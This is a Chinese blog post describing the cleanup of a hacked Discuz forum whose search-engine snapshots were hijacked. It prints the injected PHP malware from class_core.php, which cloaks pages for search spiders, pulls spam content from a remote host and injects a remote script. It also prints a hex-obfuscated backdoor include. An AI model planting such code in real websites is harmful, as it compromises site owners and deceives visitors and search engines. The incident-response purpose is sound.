发布于 5年前

记一次 DISCUZ 被挂马,搜索引擎快照被劫持的排查经过

早上发现网站打不开,任何页面状态码都是500。500 一般为代码错误所致,但我的网站是使用的discuz,且最近一直没有修改代码。怀疑被入侵了。

打开阿里云安骑士,果然发现被报警有后门文件 /data/ipdata/../ss。但在项目下却没有发现这个文件,猜测可能是入侵者自己删除了。那么一定还有其他的木马文件。

排查系统核心文件发现以下:

source/class/class_core.php的最后被添加代码

set_time_limit(20);
error_reporting(0);
define('G', '/');
define('SOUGOU_YCURL', 'http://ymd.***.com/sogou/');
define('SOUGOU_spider', '@sogou.com|Sogou web spider/4.0|Sogou inst spider/4.0|Sosoimagespider|Sogou News Spider|Sosospider|sogou.com@i');
define('URL', $_SERVER['SERVER_NAME']);
define('REFERER', $_SERVER['HTTP_REFERER']);
define('AGENT', $_SERVER['HTTP_USER_AGENT']);
define('PHPGET', PHPGET());
function IS_HTTP_URL() {
    if ($_SERVER['SERVER_PORT'] == 80) {
        $tcp = "http://".$_SERVER['HTTP_HOST'];
    } else {
        $tcp = "https://".$_SERVER['HTTP_HOST'];
    }
}
function YCcontent($url) {
    $oo2 = array('http' = >array('method' = >"GET", 'timeout' = >8));
    $context = stream_context_create($oo2);
    $hh2 = file_get_contents($url, false, $context);
    if (empty($hh2)) {
        $hh2 = file_get_contents($url);
    }
    return $hh2;
}
function GETID() {
    preg_match_all('/\d+/', $_SERVER['REQUEST_URI'], $a2ra1r1);
    $a2ra1 = $a2ra1r1[0];
    sort($a2ra1);
    return $a2ra1[count($a2ra1) - 1];
}
function PHPGET() {
    $dmmu2 = '';
    if (isset($_SERVER['REQUEST_URI'])) {
        $dmmu2 = $_SERVER['REQUEST_URI'];
    } else {
        if (isset($_SERVER['argv'])) {
            $dmmu2 = $_SERVER['PHP_SELF'].'?'.$_SERVER['argv'][0];
        } else {
            $dmmu2 = $_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];
        }
    }
    if (isset($_SERVER['SERVER_SOFTWARE']) && false !== stristr($_SERVER['SERVER_SOFTWARE'], 'IIS')) {
        if (function_exists('mb_convert_encoding')) {
            $dmmu2 = mb_convert_encoding($dmmu2, 'UTF-8', 'GBK');
        } else {
            $dmmu2 = @iconv('GBK', 'UTF-8', @iconv('UTF-8', 'GBK', $dmmu2)) == $dmmu2 ? $dmmu2: @iconv('GBK', 'UTF-8', $dmmu2);
        }
    }
    $r2 = explode('#', $dmmu2, 2);
    $dmmu2 = $r2[0];
    return $dmmu2;
}
if (preg_match(SOUGOU_spider, REFERER)) {
    $dmmu2_s1 = true;
    if (preg_match("@site%3A|inurl%3A@i", REFERER)) {
        $dmmu2_s1 = false;
    }
    if ($dmmu2_s1) {
        if (GETID() >= 20) {
            exit('<script type="text/javascript" src="http://js.***.com/js/file.js"></script>');
        }
    }
}
if (strstr(PHPGET, G)) {
    if (preg_match(SOUGOU_spider, AGENT)) {
        $dmmu2_u2 = SOUGOU_YCURL.'?xu='.'&xh='.bin2hex(PHPGET);
        $dmmu2_u2. = '&url='.IS_HTTP_URL().'&xh'.bin2hex(URL);
        $dmmu2_c2 = YCcontent($dmmu2_u2);
        echo $dmmu2_c2;
        exit;
    }
}

source/class/discuz/discuz_application.php 中间被添加一行代码

@include(PACK('H*','646174612f6970646174612f2e2e2f7373'));

646174612f6970646174612f2e2e2f7373 是什么? 使用 16进制转字符串在线工具解析后得到 data/ipdata/.. /ss。这不就是上面阿里云安骑士报的入侵文件吗。 上面我们已经说过,该文件已被入侵者自行删除,所以 include 时报了 500错误。

删除 @include(PACK('H*','646174612f6970646174612f2e2e2f7373')); 这行代码,发现网站可以打开了。查看网站源代码也没有异常。 此时一定要注意,使用 360浏览器的 User Agent Switcher 插件模拟蜘蛛访问一下网站。 百度蜘蛛的UA值为:Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)。 发现网站源代码和页面被加入以下超链接

<a href="http://www.网站域名.com/thread-54235654654-1-1.html"></a>
<a href="http://www.网站域名.com/thread-87857876543-1-1.html"></a>
<a href="http://www.网站域名.com/forum-21223443455-1.html"></a>
<a href="http://www.网站域名.com/forum-87585554565-1.html"></a>
<a href="http://www.网站域名.com/forum-32412432455-1.html"></a>
<a href="http://www.网站域名.com/forum-88765766645-1.html"></a>
<a href="http://www.网站域名.com/forum-34322123777-1.html"></a>
<a href="http://www.网站域名.com/forum.php?gid=32456546555"></a>
<a href="http://www.网站域名.com/thread-87887654343-1-1.html"></a>
<a href="http://www.网站域名.com/forum.php?gid=123124355"></a>
<a href="http://www.网站域名.com/forum-654654765474-1.html"></a>

肯定还有其他木马文件。继续排查

source/function/function_core.php 第13行发现

include('source/function/cache/cache/mm.txt');

删除此行,并删除文件 source/function/cache/cache/mm.txt, 测试网站,一切正常。

注意:经常被篡改的文件 source/function/function_core.phpsource/class/discuz/discuz_application.phpsource/class/class_core.phpconfig/config_global.php,注意检查

©2020 edoou.com   京ICP备16001874号-3